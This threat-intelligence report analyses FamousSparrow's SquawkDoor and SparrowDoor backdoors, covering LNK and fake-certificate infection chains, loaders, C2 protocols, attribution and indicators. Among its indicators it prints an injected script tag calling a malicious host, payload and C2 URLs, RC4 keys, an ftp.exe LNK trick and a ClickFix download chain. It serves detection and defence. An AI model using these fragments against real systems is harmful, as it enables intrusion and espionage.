- We discovered a FamousSparrow campaign that used two tools: the new SquawkDoor backdoor and an updated version of the SparrowDoor backdoor.
- The primary targets in the observed campaigns were Nepal, the Philippines, Indonesia, Taiwan, Egypt, Germany, and the Czech Republic.
- FamousSparrow gained access to an information system belonging to an international research organization focused on food security.
- FamousSparrow compromised websites and injected malicious JavaScript that displayed a fake error message and prompted users to download a certificate. In reality, the certificate was a malicious MSI file that infected systems with the SquawkDoor and SparrowDoor backdoors.
- The threat actor made several OPSEC mistakes, allowing us to identify one of the group members involved in preparing the attack.
- We identified several overlaps between FamousSparrow attacks and activity associated with other East Asian threat groups.
Alexander Badaev
Senior Cyberthreat Intelligence Specialist, Threat Intelligence Department, Positive Technologies
Maxim Shamanov
Specialist, Advanced Threat Research Group, Threat Intelligence Department, Positive Technologies
Summary
Introduction
In the first half of 2026, we discovered activity by the East Asian threat group FamousSparrow. Its attacks targeted several countries in South Asia and Europe. In these attacks, the threat actor used its own malware: a heavily reworked variant of the modular SparrowDoor backdoor and a new backdoor that we named SquawkDoor.
FamousSparrow, also known as Salt Typhoon and Earth Estries, is an East Asian threat group that has been active since 2019. The group is known for using its proprietary SparrowDoor backdoor and initially focused on attacks against hotels worldwide, as well as government and international organizations. Later, FamousSparrow began actively targeting telecommunications companies and internet service providers, apparently seeking long-term access to lawful communications intercept systems.
In these attacks, the threat actor used both malicious LNK files and a website compromise vector involving malicious JavaScript. The injected script displayed a fake error message when a user visited the page and prompted them to download a new certificate. In reality, the download was a malicious executable that led to backdoor infection. The attacks were tailored to specific countries: the JavaScript samples and payloads contained text customized for the target country.
Victims
In the campaign we discovered, users in South Asia submitted malicious files to public sandboxes from various locations including Indonesia, the Philippines, Nepal, and Taiwan.
Based on the samples we identified, we determined that the threat actor used an infection chain involving compromised websites and fake certificates in at least four locations: Taiwan, Germany, Indonesia, and the Czech Republic.
While investigating the compromised websites, we confirmed that FamousSparrow had gained access to an information system belonging to an international research organization focused on food security. On this organization's platform, the threat actor injected malicious JavaScript that delivered fake certificates. In this case, the likely targets were researchers who use the platform as a library and a place to publish articles.
The JavaScript on the compromised websites contained text in specific languages, and the SquawkDoor samples had messages in specific languages embedded in them. This suggests that the attacks were prepared for specific countries. The JavaScript also included functions for collecting infection statistics: /report-url and /track-download. We did not observe mass infection in this case, although the functionality clearly supports scaling the campaign if needed.
Attacks involving SquawkDoor
Attacks using LNK files
While monitoring the group's activity, we discovered attacks involving Indonesian-language files. One example is the archive Strategi_AS_Referensi_April2026.rar (SHA-256: 1def54444cab1fd17fe5acb42dd0d2293bcb9ce72a8e955bf6796d10d662c4ff).
The archive contained four files:
- Strategi_AS_Referensi_April2026.docx.lnk (SHA-256: 4c7ae604ad1af90ea155865cb28fd7ccd6371f5ac172de6014b328514d4618e7)
- info.dll (SHA-256: 39bdf92a70a1bb4f07e58cd1081f80fced85df01c1f14a56ed5783104c902439)
- .rels.log (SHA-256: 1a442a8e12c1571a0663e64e0ac9c930035bb267259b684cd9607f76be6d017b)
- 557.pdf (SHA-256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)

When the LNK file is launched, it executes the following command: "C:\Windows\System32\ftp.exe" -""s: _rels\info.dll
In this case, the Windows parser consumes the quotation marks, allowing the attacker to bypass simple detections for the -s option. info.dll is a BAT script that contains the following command:

The script copies .rels.log from the _rels folder to the temporary directory, removes its attributes, extracts its contents, runs the extracted hhc.exe, opens 557.pdf as a decoy document, and removes traces of execution.
.rels.log (SHA-256: 1a442a8e12c1571a0663e64e0ac9c930035bb267259b684cd9607f76be6d017b) is a CAB archive that extracts the following files to %TEMP%:
- hhc.exe (SHA-256: fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9): a legitimate executable vulnerable to DLL sideloading.
- MSVCR110.dll (SHA-256: c69534bb3e6d4e1c9b21f9e4745f6fb002cbcd3ab83f9ad208eb7bb135401062): a DLL used for DLL sideloading.
- hcc (SHA-256: 60292dee0e07a2b889d657e2fbd2f1cd517eaea58f1cfb1ed4a721a173520499): the payload containing the SquawkDoor backdoor.
The payload was a new backdoor, which we describe later in this article. We named it SquawkDoor because of its unique mutex and distinctive magic value.
Attacks using fake certificates
While searching for related files, we found compromised websites that had a malicious JavaScript file embedded in their HTML:
<script src="https://malicious.com/js/jquery.min.js?s=*number*"></script>
The threat actor deliberately named the file jquery.min.js to make it appear legitimate and avoid raising suspicion.
The JavaScript is obfuscated with the popular JavaScript obfuscator JSV7/sjiami.com.v7.

After partially deobfuscating the script, we identified the following functionality:
1. Code integrity check
The script runs an immediately invoked function expression (IIFE) that performs a code integrity check. If the code has been modified, the check triggers an error.
2. Anti-analysis protection
The code implements anti-debugging mechanisms, including hooks for console methods, hidden debugger statements, and recursive dynamic analysis techniques designed to complicate analysis and decompilation.
3. Platform check
The script checks whether the user's platform is Windows using the following logic:
const isWindows = navigator.userAgent.includes ("Windows NT");
if (isWindows) {
// malicious code
}
4. Heartbeat
The script contains serverUrl, which stores an encoded C2 address, and checkInterval, which is set to 1,000 ms by default. The script checks C2 availability using the following code:
const img = new Image ();
img.src = serverUrl + "/image-check? t=" + Date.now ();

5. Page content replacement
The script completely clears the <body>, creates a large full-screen iframe, and displays a fake SSL error page. In this example, the page is in Czech.

The script also sends a POST request to serverUrl/report-url to log which pages the user visited from and which other sites are compromised.
As a result, when the user visits the site, they see the following message:

When the user clicks "Nainstalovat certifikát" ("Install certificate"), the script sends a request to serverUrl/track-download, apparently to log the download event, and also sends a request to downloadUrl to download the payload from an Amazon S3 bucket.
In this case, the encoded C2 and download URLs were as follows:
serverUrl: pplpp.microsfot.vip
downloadUrl: uploads-temp.s3.amazonaws.com/scadwadwaew/certificate_repair_tool.msi
At the time of our investigation, the downloadUrl from this script was unavailable. However, we found another similar URL associated with these attacks:

The MSI files downloaded from the S3 bucket, including the file with SHA-256: b379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787, contained the following command:
cmd.exe /C ping 127.0.0.1 -n 3 > Nul & del /f /q "C:\Users\admin\AppData\Local\WinOx\hhc.exe" & del /f /q "C:\Users\admin\AppData\Local\WinOx\MSVCR110.dll" & del /f /q "C:\Users\admin\AppData\Local\WinOx\hhc"
As with the malicious LNK files described above, this infection chain also uses hhc.exe with the same hash. However, the MSVCR110.dll file is different: f23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18.
When executed, these MSI files displayed messages in the victim's language. For example, in the attack targeting Taiwan, the following message appeared in Traditional Chinese:
証書安裝成功, 請返回瀏覽器操作! ("The certificate has been installed successfully. Please return to the browser to continue.")
In June, we also found a similar MSI file, CertFixer.msi (SHA-256: f51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01), targeting Germany and using infrastructure in the same country. This file displayed messages in German, but the meaning was the same.

When executed, the MSI creates the %LOCALAPPDATA%\Local\WinxA\ directory and drops a legitimate hhc.exe file, a malicious MSVCR110.dll library loaded via DLL sideloading, and an hhc file containing the encrypted payload. The payload was a previously undocumented backdoor, which we named SquawkDoor.
SquawkDoor
Loader
During initialization, the malicious MSVCR110.dll library dynamically resolves the addresses of the required API functions using the FNV-1a hashing algorithm with modified constants: the initial value 0×5D8CED15 and the multiplier 0×024151A3. The library also allocates memory for the payload.
As the legitimate application runs, it calls the first replaced exported function, __crtSetUnhandledExceptionFilter (). This function reads the contents of the hhc file, which contains the encrypted payload, and stores it in the allocated memory region.

Next, the legitimate executable calls the second replaced exported function, _except_handler4_common (). This function decrypts the payload using the RC4 algorithm and the key Hg5th5324Ve. After changing the memory permissions, it transfers execution to the decrypted payload.

Once it receives control, the shellcode loader reflectively loads the final payload, which is the group's new backdoor, SquawkDoor.
SquawkDoor backdoor
During initialization, the backdoor dynamically resolves the addresses of imported functions by hashing API names. It uses a custom algorithm with the initial value 0×753AB21D and a table of 12 constants. On each iteration, the next character of the API name is mixed into the current hash value using table lookups, XOR, subtraction, and multiplication by the constant 0xA3AB09. After all characters have been processed, the final value is compared against a predefined hash for the target function.
uint32_t hash_func(char *name)
{
uint32_t table[12] = {
0x753AB21D, 0x026CA124, 0x04671A71, 0x016371B8,
0x028174BB, 0x0635134C, 0x01475612, 0x0562154A,
0x03225411, 0x04124411, 0x04214ABC, 0x03244ABC
};
uint32_t hash = 0x753AB21D;
while (*name)
{
uint8_t c = *name++;
uint32_t value =
0xA3AB09 *
((hash ^ (c + table[c % 12])) - table[hash % 12]);
value &= 0x07FFFFFF;
hash = value + table[value % 12];
}
return hash;
}
Figure 11. Implementation of API function name hashing
Before handing off execution to SquawkDoor's main logic, the backdoor hides the console window by calling ShowWindow (hwnd, SW_HIDE), It then checks whether it is running from the expected working directory, %TEMP%. If the current launch directory does not match the expected path, the backdoor copies the components required for further execution to %TEMP%: the legitimate executable, the DLL used for sideloading, and the file containing the encrypted payload.
After placing the files in the target directory, the backdoor silently launches its own copy from %TEMP% using CreateProcessA () with the CREATE_NO_WINDOW flag.
It then starts a cmd.exe process that, after a short delay, deletes the original files with the following command:
cmd.exe /C ping 127.0.0.1 -n 3 > Nul & del /f /q "<legit.exe>" & del /f /q "<malicious.dll>" & del /f /q "<encrypted_payload>".
The backdoor then adds the new copy to the current user's startup under the name WindowsUpdateAssist and creates the named mutex squadc_single_instance to prevent multiple instances from running.

The backdoor's configuration is stored encrypted and decrypted using the RC4 algorithm with the key Hg5th5324Ve. The configuration contains the C2 server address, the magic value used for validation "XlocmwW", the URL for JSON ping requests, the server polling interval in minutes, and flags that control whether the backdoor waits for a browser process and performs anti-analysis checks.

After decryption, the configuration has the following structure.
struct EMBEDED_CONFIG {
BYTE c2_address[0x40];
BYTE magic_tag[0x40];
BYTE c2_json_ping_url[0x100];
DWORD beacon_interval_minutes;
DWORD need_browser_waiting;
DWORD anti_analysis_enabled;
};Figure 14. SquawkDoor configuration structure
Notably, the command-and-control server address and the magic_tag value used during C2 connection setup are initialized by default as 127.0.0.1:8443 and changeme, respectively. The use of a localhost address as a template value likely indicates that the threat actor conducted local testing.

If the anti_analysis_enabled flag is set in the configuration, the backdoor runs a set of 12 anti-analysis checks. These checks are designed to determine whether the sample is running in a sandbox, a virtual machine, or another virtualized analysis environment. If seven or more indicators are detected, SquawkDoor treats the environment as suspicious. The checks are as follows.
| Mechanism | Purpose | Criterion |
|---|---|---|
| Memory Size | Checks the amount of RAM | Total physical RAM is less than 2 GB |
| Disk Size | Checks the size of the system drive | The C:\ drive is smaller than 50 GB |
| VMware Registry | Looks for VMware artifacts in the registry | At least one of the following registry keys is present:
|
| VMware Process | Looks for VMware processes | At least one of the following processes is running:
|
| VMware Files | Looks for VMware Tools files, libraries, and drivers | At least one characteristic file is present on the system:
|
| MAC Address | Checks network adapter MAC addresses | At least one active network adapter has a MAC address whose first three bytes match a known virtualization-related prefix:
|
| VM Drivers | Looks for VMware/VirtualBox drivers and services | At least one of the following service registry keys is present:
|
| VM Devices | Checks connected devices | The description of at least one device contains one of the following strings:
|
| Screen Resolution | Checks the screen resolution | The current screen resolution matches one of the following values:
|
| BIOS | Checks BIOS data in the registry | The BIOSVendor or BIOSVersion values under HKLM\HARDWARE\DESCRIPTION\System\BIOS contain strings associated with virtualized environments:
|
| Motherboard | Checks the system manufacturer | The SystemManufacturer value under HKLM\HARDWARE\DESCRIPTION\System\BIOS contains one of the following strings:
|
| System Firmware | Checks the product name | The SystemProductName value under HKLM\HARDWARE\DESCRIPTION\System\BIOS contains one of the following strings:
|
If the need_browser_waiting flag is set in the configuration, SquawkDoor postpones execution of the main payload until it detects one of the target browsers. To do this, it enumerates running processes every 30 seconds. Execution resumes only after one of the following processes is found:
- chrome.exe;
- firefox.exe;
- msedge.exe;
- edge.exe;
- brave.exe

This mechanism acts as an additional anti-analysis technique: the program waits for a running browser, since in the attacks described above the payload was delivered through fake web pages.
In addition, if the c2_json_ping_url parameter is present in the configuration, the backdoor sends a one-time HTTP/HTTPS POST request to the specified URL. The request body contains an empty JSON object. Although the server response is read, its contents are not processed and do not affect the subsequent execution flow. The outgoing HTTP request has the following structure.
POST /register-ip HTTP/1.1
Host: <domain>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
Content-Length: 2
Connection: close
{}Figure 17. Structure of the outgoing HTTP request
Because all the investigated attacks used /register-ip as the endpoint, we assess that this mechanism was used by the attackers as a marker confirming successful malware execution on the victim's system. Receiving this request may also have served as a trigger for certain operator-side logic.
After completing all preparatory steps, the backdoor attempts to establish a connection to the command-and-control server. It does this in an infinite loop, making a series of sequential attempts to establish a secure TLS-over-TCP connection.
If the first connection attempt fails, two additional attempts are made after one and two minutes, respectively. After three consecutive failures, the next round of connection attempts starts after beacon_interval_minutes minutes, or after 30 minutes if this field is not defined.
Once the connection is successfully established, the backdoor sends the magic_tag value extracted from the configuration to the command-and-control server. Subsequent data exchange uses a custom protocol. Each inbound and outbound message begins with the SQD1 magic value and follows the structure shown below.
struct MESSAGE {
uint32_t magic; // "SQD1"
uint16_t control_code; // номер управляющей команды
uint16_t error_flag; // статус ответа
uint32_t body_len; // длина тела в байтах
uint8_t body[]; // тело сообщения
};Figure 18. Inbound and outbound message format
Notably, during the initial transmission of the magic value, the control_code field is set to 1.
If the error_flag is not set in the server response, SquawkDoor collects basic information about the compromised system, including:
- OS version
- Computer name
- The first active IPv4 address assigned to a network interface, excluding localhost
The collected data is sent to the C2 server with control_code set to 9.
In response to the system information, the command-and-control server returns a command for execution. During our analysis, we identified the following commands supported by the backdoor.
| Command type | Command code | Description | Argument data |
|---|---|---|---|
| Incoming | 2 | Lists files in the specified directory. Executed via cmd /C dir "<path>" | Directory path |
| Incoming | 3 | Deletes the specified file or directory | Full path to the file or directory |
| Incoming | 4 | Creates a file at the specified path and writes the supplied data to it | Contains the path of the file to be created and the data to write: [2-byte path_len][N-byte file_path][M-byte file_data] |
| Incoming | 5 | Executes an arbitrary command through the command interpreter and returns the output | Command for the interpreter |
| Incoming | 6 | Collects system information by executing systeminfo | — |
| Incoming | 7 | Captures a screenshot | — |
| Incoming | 8 | HEARTBEAT | — |
| Incoming | 10 | Runs an arbitrary command as a detached background process, without a window, without waiting for completion, and without capturing output | Command for the interpreter |
| Outgoing | 1 | Sends magic_tag for initial SquawkDoor identification | The magic_tag value is passed in the message body |
| Outgoing | 9 | Sends collected information about the victim system | The collected system information is passed in the message body: os=<win_version>\nhost=<computer_name>\nip=<ipv4> |
Commands are executed in a child process with its output streams redirected through pipes.
Attacks using SparrowDoor
Using unique strings found inside the installer files, we identified an MSI with a similar name, CertFixer.msi (SHA-256: e5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bc). When executed, it displays a similar certificate-installation success message, this time in English.

During our investigation of the attack, we found that the threat actor used a heavily reworked variant of the modular SparrowDoor backdoor. In this version, the set of supported communication protocols was expanded, the configuration format was changed, stealth capabilities were improved, and the tool's architecture was revised.
SparrowDoor previously existed in two variants. The monolithic version included a set of built-in commands for controlling a compromised system, but did not support extending its functionality through plugins. The modular version, in contrast, provided only the basic capabilities required to load and manage plugins, with additional functionality delivered through modules downloaded from the command-and-control server.
The variant we identified combines capabilities from both versions: it supports an expanded command set, can load additional modules, and includes several preinstalled plugins.
In addition, this backdoor version incorporates certain technical and architectural approaches from other tools in the same shared-codebase family, including earlier versions of SparrowDoor, CrowDoor, TernDoor, and Hemigate. The toolkit's evolution and a comparative table are provided in the "Family development" section.
SparrowDoor Loader
When launched, the delivered MSI creates the %LOCALAPPDATA%\Local\WinxA\ directory, similar to the directory used by SquawkDoor, and drops three files there: the legitimate Avast Antivirus Installer (NisaSrv.exe), the malicious WTSAPI32.dll library, and a file named NisaSrv containing the encrypted payload.
During initialization, the malicious library loaded via DLL sideloading reads the first 16 bytes of the .text section of the process into which it has been loaded. This value is then used as the RC4 key to decrypt the names of WinAPI functions.
Figure 20. Decryption key extraction
Next, the library dynamically resolves the required APIs and uses HeapAlloc to allocate about 5 MB of heap memory for the payload.

At the next stage, the malicious DLL modifies the execution flow of the legitimate process. Using VirtualProtect (), it temporarily makes writable a code region of the legitimate NisaSrv.exe that contains the 4-byte operand of a CALL instruction (0xE8). This operand stores the relative offset to the target function. The malicious library overwrites it with a new offset pointing to the payload decryption function inside the DLL. As a result, the next execution of the CALL instruction transfers control to malicious code.
Figure 22. Modification of the legitimate process execution flow
The decryption function reads the payload file and determines the next processing scenario based on its first two bytes. If the file starts with 0×91 0×91 or 0xD1 0×92, the malware treats this as the first execution, meaning that its components have not yet been moved to the working directory. In this case, the payload is decrypted in a single RC4 pass using the key oWbgvv5234$43gh.
If these markers are not present, the malware assumes that the files have already been moved to the target directory and re-encrypted. In that case, the contents are first decrypted with RC4 using a key derived from the full path to the payload file, followed by the main decryption stage.
Once decryption is complete, execution is transferred to shellcode that reflectively loads the PE file into the process memory.
Reflective loading shellcode
The decrypted file contents include a custom header containing the parameters required for reflective loading, the shellcode loader to which the library transfers execution, and the raw sections of the SparrowDoor backdoor.

The reflective-loading parameter header contains the entry point of the module to be loaded, the number of sections, the relative virtual addresses of the relocation and import tables, the image base address, and the location and size of each section. This header can be represented by the following structure:
struct ShellcodeLoaderHeader
{
_DWORD entry_rva;
_DWORD sections_count;
_DWORD reloc_rva;
_DWORD import_rva;
_DWORD image_base;
_DWORD unused;
_DWORD sections_rva[7];
_DWORD sections_size[7];
};Figure 24. Reflective-loading parameter header structure
Updated modular SparrowDoor
Initialization
During initialization, the shellcode-loaded SparrowDoor hides the process console window, dynamically resolves the addresses of target functions using a hash function of the form hash = ROR32(hash, 2) + name[i], and checks whether the current date is later than the cutoff date of April 2027.
If the date check passes, the agent decrypts its configuration. The configuration is stored at the end of the encrypted payload file and is decrypted with the same RC4 algorithm and the same key, oWbgvv5234$43gh.

The decrypted configuration contains the C2 server addresses, connection parameters, network protocol used to communicate with the C2 server (see below), the working directory, the name of the service created for persistence, and the second part of the key used to encrypt messages between the agent and the C2 server. The agent configuration has the following structure.
struct C2Entry
{
_BYTE host[0x80];
_WORD port;
_DWORD transport;
};
struct Config
{
C2Entry c2[3];
_BYTE target_path[0x100];
_BYTE service_name[0x40];
_BYTE rc4_key_part[0x40];
_DWORD reconnect_delay_min;
_DWORD sleep_ms;
};Figure 26. Decrypted SparrowDoor configuration structure
Notably, this version of SparrowDoor creates an environment variable named datx, which stores the full path to the encrypted payload file. The malware uses this variable to extract the configuration from the end of the file.
The agent then parses the startup arguments passed to it.

SparrowDoor launch sequence
During execution, SparrowDoor relaunches itself multiple times with different arguments, each corresponding to a separate stage of the malware's workflow.

Launch without arguments: sets up persistence. It creates the working directory specified in the configuration and copies into it the three files extracted by the MSI installer: the legitimate executable, the malicious DLL used for DLL sideloading, and the payload file.
The payload file is additionally encrypted with RC4, using the file's full path as the key. The final 0×31A bytes, which contain the configuration, are left unchanged.
The agent then attempts to disguise the created files and working directory by setting their timestamps to match those of the system library ntdll.dll, and by applying the hidden and system attributes.
To establish persistence, the agent creates a Windows service with the name specified in the configuration (NisaSrv). This service is configured to automatically launch the copied legitimate executable when the user logs on.

If the service cannot be created or started, the agent adds the executable to the current user's autorun key and launches it.

When launched from the target directory, the agent starts its new copy via ShellExecuteA ("open"), passing the /a argument, and then terminates the current process.
- Launch with the /a argument: decrypts the payload file contents twice: first using the file's full path as the key, and then using oWbgvv5234$43gh. It then starts msiexec.exe with the /c argument. In the context of this process, it allocates executable memory and writes the decrypted payload into it. Execution is then transferred to the loaded shellcode.
Launch with the /c argument: creates a named mutex in the format xnv_<internal_version>_<service_name> (in this case, xnv_1.1.0_NisaSrv) to prevent multiple instances from running. The agent then identifies the user session in which explorer.exe is running and uses that session ID to find a winlogon.exe instance running in the same session.
If such a process is found, the agent opens and duplicates its access token, then uses that token to start msiexec.exe via CreateProcessAsUserA, passing /b as the argument. If the token cannot be obtained, msiexec.exe is started via CreateProcessA with the same argument.
After creating the process, the agent allocates memory in the address space of msiexec.exe, decrypts the payload twice, writes it to the allocated memory region, and transfers execution to the decrypted shellcode.
It is also worth noting that, unlike previous instances, the current process does not terminate after completing its primary tasks, but continues to operate as a watchdog, ensuring SparrowDoor remains running and restarting it when necessary.
- Launch with the /b argument: activates the agent's main logic.
- Launch with the /u argument: starts the agent uninstallation routine. During this process, the malware removes its persistence mechanisms and the working directory it created, then builds and runs the command cmd /c taskkill /F /IM msiexec.exe. This command forcibly terminates all msiexec.exe processes, including the instance used to run the injected payload.
Preinstalled plugins
After the previous stages are completed successfully, execution proceeds to agent setup and preparation. At this stage, the malware creates a circular doubly linked list of built-in plugins and their handlers.

Each plugin is associated with a separate command group identified as 0×10000, 0×20000, … 0xF0000. The group identifier is extracted from the full command code using the command & 0xF0000 mask, while the lower 16 bits specify the action to be performed by the selected plugin. For example, for a keylogger plugin with the identifier 0×40000, command 0×40003 could activate the keylogger, while 0×40004 could deactivate it.
In the analyzed sample, the agent includes the following built-in plugins:
- 0×10000: a module loader and fallback command handler for commands whose target module has not yet been registered. If the plugin for the command group has not yet been registered, the command is routed to the loader. The loader identifies the missing module by its group identifier, requests it from the C2 server, decrypts it, loads it into memory, and calls the exported fmain function. It then registers the received module in the list of installed modules and transfers execution to the loaded module's handler.
- 0×40000: a keylogging module. When started, it installs a low-level keyboard hook with SetWindowsHookExW (WH_KEYBOARD_LL, …) and creates a separate thread that runs a message loop. This thread monitors keystrokes, identifies the currently active window, records its title, and accumulates the typed characters in an internal buffer. Special keys are handled separately and stored in readable form: [back], [tab], [enter], [ctrl], [alt], [esc]. When the active window changes, the buffer reaches 1008 bytes, or a timer triggers every 2 seconds, the accumulated data is saved to a file in the kl subdirectory of the working directory, where kl stands for keylog. The file name uses the format <YYYY>-<MM>-<DD>-<HH>-<mm>.x. Before the data is written, the string is encrypted with RC4 using a static key (see below), and then Base64-encoded.

Communication with the C2 server
After setting up the built-in plugins, the agent enters an infinite loop. In this loop, it iterates through all entries defined in the configuration and attempts to connect to the command-and-control server. The communication method for each entry is determined by the transport parameter.
| transport | Communication method |
|---|---|
| 0×01 | Plain TCP connection |
| 0×02 | TLS-protected TCP connection |
| 0×03 | HTTP communication |
| 0×04 | HTTP communication |
When HTTP (S) is used, the agent sends data to the command-and-control server in POST requests to /325asd/fd.php using the following format.

After establishing a connection to the C2 server, the agent remains in the same infinite loop and collects information about the victim system. The collected data includes the current date, the IPv4 address of the first local interface, the OS version, the user name, the computer name, the list of antivirus products installed on the system, the agent version, and a generated victim system identifier.
After collecting this information, the agent packs it into the following structure for transmission.
struct SYSTEM_PROFILE
{
_WORD local_year;
_WORD local_month;
_WORD local_day;
_DWORD local_ipv4;
_DWORD os_build;
_DWORD os_major;
_DWORD os_minor;
_BYTE host_id_hex[0x20];
_BYTE user_name_utf8[0x40];
_BYTE computer_name_utf8[0x40];
_BYTE antivirus_names[0x40];
_BYTE client_version[0x20];
};Figure 34. Collected system information structure
The collected system information is encrypted using the RC4 algorithm. The key for it ("fdibnvvgbVUGV_hh3(2") is formed from two parts: the first part is extracted from the configuration ("fdibnvvgbVUGV"), and the second is hardcoded in the agent ("_hh3(2"). The generated static key is used to encrypt and decrypt messages.
Before sending the main message, the agent first sends a 4-byte magic value, 0×21A43B. If this value is delivered successfully, it sends a message header containing the message type, represented by the magic value 0×6A26B, and the payload size. The encrypted system information is then sent after the header.
The outgoing message header has the following format.
struct MsgHeader
{
_DWORD magic;
_DWORD len;
};Figure 35. The header format of the sent messages
In response, the command-and-control server sends a 12-byte message. At this stage, the agent checks only the magic marker in the response: the marker field must always be 0xA1.
struct C2_COMMAND_HEADER
{
_DWORD command_id;
_DWORD payload_len;
_DWORD marker;
};Figure 36. Format of incoming C2 messages
After sending the system information, the agent starts receiving control messages. Each incoming message begins with a similar 12-byte header that contains the command identifier, payload size, and marker. The message is treated as valid only if the marker is 0xA1. If payload_len is nonzero, the header is followed by a separate message containing a payload of the specified size.
Processing received commands
The command_id value in the received header determines which command is executed. The supported commands are listed in the table below.
| Purpose | command_id | Description |
|---|---|---|
| Plugin management | 0×22BB, 0×22BC, 0×22BE, 0×22C0 | SparrowDoor creates a separate thread that establishes a connection to the command-and-control server and sends the parameters of the new session, including the infected system identifier and service values specific to the command. This channel is then used to deliver commands to the plugin dispatcher. The agent receives a message, decrypts the payload with RC4 using the static key, and passes the command to the appropriate plugin handler based on its identifier. If the required handler is not present, the agent uses the loader plugin to download the corresponding PE plugin from the C2 server, then passes the original command to the newly loaded plugin. to the newly loaded plugin. |
| 0×22BD | ||
| 0×22BA | ||
| Sending the current configuration to the C2 server | 0×22B8 | SparrowDoor extracts and decrypts the configuration using RC4 and the embedded key, then encrypts the result with the previously generated static key. It then creates a response with the header magic = 0x6A26D and sends it to the C2 server. |
| Updating the configuration | 0×22B9 | SparrowDoor decrypts the supplied configuration using RC4 and the static key, then encrypts the updated configuration with the embedded key and overwrites the configuration block at the end of the payload file. |
| Self-deletion and shutdown | 0×22BF | SparrowDoor removes its persistence mechanisms and working directory, terminates the process into which it was injected, and then calls ExitProcess. |
| Downloading a file to the temporary directory | 0×22C1 | SparrowDoor decrypts the payload using RC4 and the generated static key, then extracts the data size, file name, and file contents. It then creates the file in %TEMP% and writes the received data to it. |
| Launching a file from the temporary directory | 0×22C2 | SparrowDoor receives an encrypted file name, decrypts it, and constructs the full path to the file in %TEMP%. The file is then launched via ShellExecuteA ("open"). |
Attribution
Attacks linked to FTPlnk_phishing
In these attacks, FamousSparrow used an LNK file to abuse a living-off-the-land binary.
- When the victim clicks the LNK file, Windows reads the Relative Path field, which is set to ..\..\..\..\Windows\System32\ftp.exe. It then resolves this path to the legitimate ftp.exe binary and executes it without an absolute path being specified.
- ftp.exe is passed the argument ftp.exe -s:"_rels\info.dll". In our case, this file was a .bat script.
The technique comes from FTPlnk_phishing, which we previously covered in our article on the Asia-focused group UnsolicitedBooker. In that article, we showed metadata from the original LNK file in the official repository. The original argument referenced python.dll, but the underlying technique remains the same.

In that article, we noted that we had previously observed FTPlnk_phishing being used by two groups: UnsolicitedBooker and MustangPanda in an attack on the Royal Police. After further research, we found that at least two vendors have publicly described similar attacks.
The first report is on Operation GriefLure. In that report, the researchers described an APT campaign targeting Vietnamese military telecommunications and the Philippine healthcare sector. In this campaign, the attackers also used the ftp.exe -s: command, which launched a script, as in our case. Here, however, the script assembled an EXE file and a polymorphic DLL from document fragments. File assembly using copy /b commands and time-based polymorphism differs significantly from our case, but we can say with confidence that the group behind the operation used the same FTPlnk_phishing technique. The researchers did not attribute the attack to a specific group, but based on the TTPs and targeting, Mustang Panda is a plausible actor behind it.
The second attack we focused on involved a fake Claude website and the Beagles backdoor. The group used fake domains to download MSI files, each containing three components: a legitimate EXE, a DLL used for sideloading, and a DAT file. Notably, the referenced research described only MSI-based attacks. When we reanalyzed this activity, we found that, similar to the FamousSparrow activity covered in our research, the group described in the article also used LNK files and scripts in addition to MSI files.

The script embedded in the .lnk file launched a .dat file, which displayed the legitimate PDF Claude-Pro-Relay-Technical-Overview.pdf to the victim and also executed pdf.vbs.

As in the FamousSparrow activity, the attackers behind Donuts and Beagles used two delivery vectors: a website that downloaded an MSI file, and RAR archives containing an LNK file associated with FTPlnk_phishing.
We also analyzed all FTPlnk_phishing files that used this technique and the same IconLocation references, .\1.pdf or .\1.docx, and confirmed again that this is not a widely used tool. All analyzed files belong to one of three campaigns:
- Operation Grieflure, likely associated with Mustang Panda
- Donuts and Beagles, which is very similar to the FamousSparrow attacks we analyzed but uses a different backdoor
- UnsolicitedBooker, which continues to target China, as described in our report and a report by the Chinese vendor ThreatBook.
Link to the Space Pirates group
While analyzing the modified SparrowDoor sample, we noticed that it sends the following POST requests to the /325asd/fd.php endpoint:
POST HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)
Accept: */*
Content-Length: %d
Connection: Keep-Alive
Cache-Control: no-cache
Using this endpoint pattern, we identified the domain viscarae.com, which had previously resolved to the IP address 103.27.108[.]55.

This IP address was previously mentioned in a report on the East Asian group UAT-8302, also known as Space Pirates. In this case, the overlap is limited to infrastructure. However, in that report, the researchers included a diagram showing overlaps between different groups, including an overlap between Space Pirates, or UAT-8302, and FamousSparrow, also known as Earth Estries.

Other related attacks
In its attacks, FamousSparrow used hhc.exe (SHA-256: fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9), a component of ESET Security Suite that is vulnerable to DLL sideloading. In 2018, the same file was used in an attack by SectorM04, also known as Whitefly or Mofang. That attack used the same .exe file and a similarly named sideloaded DLL, MSVCR110.dll, but the final payload was PlugX. In our case, the final payload is a new tool that we named SquawkDoor. Malicious libraries named MSVCR110.dll have been used by several East Asian groups, including APT31 and Mustang Panda, but this specific combination of the .exe file and MSVCR110.dll had previously been observed only in SectorM04 activity.
During our investigation, we also discovered a related, previously undocumented attack from late August 2024. The attack used two delivery vectors: ClickFix and a malicious archive. The first vector relied on ClickFix: when the victim clicked the “I’m not a robot” button, a Base64 string was copied to the clipboard. Once decoded, the string downloaded the next stage from https://www.cloudf-update.com/down[.]txt.

down.txt (SHA-256: 56f7237236374acb77c4e158e6026bac9b05b16942a2c89d41bcce6230d42f8c) is a PowerShell script that downloads the next stage from https://www.cloudf-update[.]com/wp-statics/test.doc, renames it to test.cab, executes the .exe, and deletes the downloaded file.

The CAB file (SHA-256: 595a43169bcc5154712311e37c192a8f4bf93fa2a2b5afff465c816b01a187f2) contains three files:
- svctop.exe (SHA-256: fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9): a legitimate file that was later used in SquawkDoor attacks
- MSVCR110.dll (SHA-256: f8204ba0763622a5f7ed3ca9d8c970eb52d10505690b17c920039dead408fbc5): the DLL used for sideloading
